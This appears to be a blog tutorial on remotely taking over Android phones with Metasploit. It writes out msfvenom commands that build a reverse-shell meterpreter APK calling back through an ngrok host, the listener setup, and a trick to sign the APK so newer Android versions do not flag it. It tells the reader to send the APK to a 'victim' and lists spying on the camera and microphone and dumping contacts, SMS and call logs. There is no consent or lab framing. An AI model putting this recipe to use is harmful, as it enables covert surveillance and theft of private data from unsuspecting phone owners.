How to hack Android Remotely Using Kali/Windows/Mac (Step-By-Step Tutorial)

 Detailed Tutorial On How To Remotely Hack Android Device

Note :- Follow each steps carefully then you can successfully do it, but

if you get any error. Don't forget to mention it in comments.

1.Download Metasploit-framework

If you are on a Linux machine (Kali or Parrot), It comes pre-installed.

Else, you can download it on Windows and Mac too from metasploit.com. 

2.Downlaod Ngrok

If you don't know what ngrok is, ngrok is a port-forwarding tool which can transfer WAN Connections on LAN. You can download it from ngrok.com. And sign up for service, you can see further steps on their websites itself to install it.

3.Make your payload

Now, comes the main step to finally build our malicious .apk file to send to the victim and hack it.

For this, you'll first have to fire up ngrok terminal by this command

ngrok tcp 4242

You will get a screen like this one below

Here, as you can see my host is 8.tcp.ngrok.io and port is 19466 (This can be different in your device)

Leave the server running and open up a new terminal and we will now create our app

To do this, navigate to bin folder of Metasploit (on windows) or you can directly do it in Linux.

Type this command to create our apk

msfvenom -p android/meterpreter/reverse_tcp lhost=<your ngrok host like 8.tcp.ngrok.io> lport=<your ngrok port like 19466> r> nameOfYourApk.apk

In my case, this command will look like this,

msfvenom -p android/meterpreter/reverse_tcp lhost=8.tcp.ngrok.io lport=19466 r> androhack.apk 

Bam! We created our apk file (you can find it in the same folder)

4.Fire Up Msfconsole

 Type 'msfconsole' to launch metasploit-framework's console (it can may take some time)

Once you've successfully launched it, head to the next step, now type

use exploit/multi/handler

(It will tell msf to use this exploit)

next command,

set PAYLOAD android/meterpreter/reverse_tcp

 Now, we will have to define the host and the port for it

to do so, 

set LHOST 0.0.0.0

(LHOST stands for Listening Host)

next one, 

set LPORT 4242 

Now you are all set to forward our apk, but just one more step

Type, 'exploit' and hit enter

Note :- The next is only required if you want to hack Android 8 or later (Like 10 or 11)

As Android 7 has a little less security than Android 10 you need not to sign your apk file, but if you aim to hack android 8,9,10,11. You will have to sign our apk file so that android system doesn't flag this

To sign our apk file without an android developer certificate, we can download an app called MiX file explorer and apk signer (add-on to sign files)

You can download MiX and MiX apk signer add-on from any site

Now transfer that file to your android phone in which you have download MiX

And then long press on apk file

As you will scroll down the list you can see an option called sign

Long press on it and choose auto, It will create a new apk file for you

Now forward that newly created apk file to your victim and

BANG!!!

As your victim will click on that apk file, you will receive a meterpreter session on your computer.

You can type help to see all commands

Some common commands are

upload, download, file commands, wakelock

You can hack their camera and take a picture from it, live stream from it, screen share, record audio from their mic, download their contacts (dump_contacts), download their sms (dump_sms), download their calllog(dump_calllog).

I know these are a lot for a beginner to understand, but just think of what you want to do, hack android device, fuck their security and privacy.

If you followed the above mentioned steps carefully, there are no chances of errors, but still if you are stuck at any point, want any other help, have any feedback for me, don't forget to mention it in comments.